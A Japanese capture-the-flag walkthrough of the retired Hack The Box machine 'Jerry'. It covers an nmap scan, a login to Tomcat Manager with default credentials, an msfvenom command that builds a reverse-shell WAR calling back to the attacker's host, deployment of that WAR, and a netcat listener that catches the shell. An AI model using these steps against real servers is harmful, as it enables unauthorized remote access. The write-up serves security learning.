【Hack The Box】Jerry_日本語Walkthrough

# 概要
Hack The Box（以下、HTB）のRetiredチャレンジであるJerryのwriteupです。

# 環境
HTBの課金環境のPwnboxで実施しています。

# Walkthrough
## 1. nmapで稼働しているサービスを確認する
```bash
nmap -Pn -A -T4 <ターゲットのIPアドレス>
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3475030/ed866863-e833-1930-3462-06d919650c38.png)

8080ポートでApacheのTomcatが稼働していることがわかる

## 2. ブラウザから8080を確認
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3475030/59a7b4b2-c455-75b1-127c-7fb17db818bf.png)

画面右に「Manager App」があり、管理者としてログインできそうです。

user:admin、password:adminでログインしてみます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3475030/0cdd6035-bffa-6e34-e943-e99fe66a21ba.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3475030/c9a2a275-40ee-a7fa-8ed5-25b6db67e376.png)

403 Access Deniedにつながります。
真ん中あたりにusernameやpasswordのサンプルが書いてあります。
これをそのまま使っている可能性が高いです。

> For example, to add the manager-gui role to a user named tomcat with a password of s3cret, add the following to the config file listed above.

username:tomca、password:s3cretでログインを試します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3475030/15e4b937-2c68-6a51-deb4-2d226eceea46.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3475030/ec58e563-8e9f-9c4d-ad8b-eff641b7739d.png)

Manager画面にログインできました。

## 3. リバースシェルの確立
Manager画面からはApplicationのPathを確認でき、下部からディレクトリやWARファイルをDeployできるようです。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3475030/4f51c703-abe1-1a5f-98ac-098d38bd1780.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3475030/ab4cef9d-6a4b-e300-d847-cef06c7387a4.png)

### 3.1 WARファイルの作成
ManagerではWARファイルのデプロイができそうなので、リバースシェルを確立するためのWARファイルを作成します。
作成にはmsfvenomを用います。

msfvenomはmetasploit frameworkの機能の一つでペイロードの作成に用いられます。
https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html

以下にペイロード作成のチートシートがありました。
https://github.com/frizb/MSF-Venom-Cheatsheet
WARファイルのペイロード作成のコードを用います。

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<攻撃端末のIP> LPORT=<攻撃端末のポート> -f war > shell.war
```

今回は4444ポートでリバースシェルを確立します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3475030/6e3cbf70-49f6-5631-57c6-3abd2d270a2c.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3475030/9bc7b195-33bf-c54e-d018-5e9d2dcdb5f2.png)

### 3.2 shell.warのDeploy
作成したWARファイルをTOMCATにDeployします。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3475030/cc293c5a-77bc-a7d6-af2a-cd3fd8ecccfc.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3475030/47021fcd-4b3e-ba25-1d2a-849165231575.png)

/shellがDeployされていることを確認します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3475030/e6a12234-6aea-72a8-6685-39aedca92af8.png)

### 3.3 リバースシェルの確立
ターミナルを開きnetcatをリッスンモードのポート4444で待ち受けします。
```bash
nc -nvlp 4444
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3475030/f217f61e-52bf-f986-d058-7bed3c05d0e8.png)

ブラウザで/shellに接続します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3475030/1bfa2e14-a165-fd2c-be5d-7630da75828c.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3475030/21b1a5fe-bfbb-fbbb-81fc-554c7604c8d6.png)

ターゲットマシンのシェルに繋がりました。

## 4. フラグの探索
cdコマンドでC直下まで戻り、dirコマンドでフラグを探します。
```
cd ..
dir /s user.txt
dir /s root.txt
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3475030/0016a6bf-aade-fbe5-3b01-cc7c1ad25bbd.png)
見つかりません。。。

flagを含むものがないかを確認します。
```
dir /s flag*
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3475030/0d30794b-9f7f-950b-5e7c-2e0a55c92986.png)


UsersのAdministratorにあるflagsというディレクトリが怪しいので探索します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3475030/bb0602da-8910-95c8-85a9-9e7a16690373.png)
2 for the price of 1.txtというテキストファイルがありました。
こちらをtypeコマンドで確認するとuserフラグとrootフラグが入手できます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3475030/023da8e7-dd8e-358d-202c-6553da9a587e.png)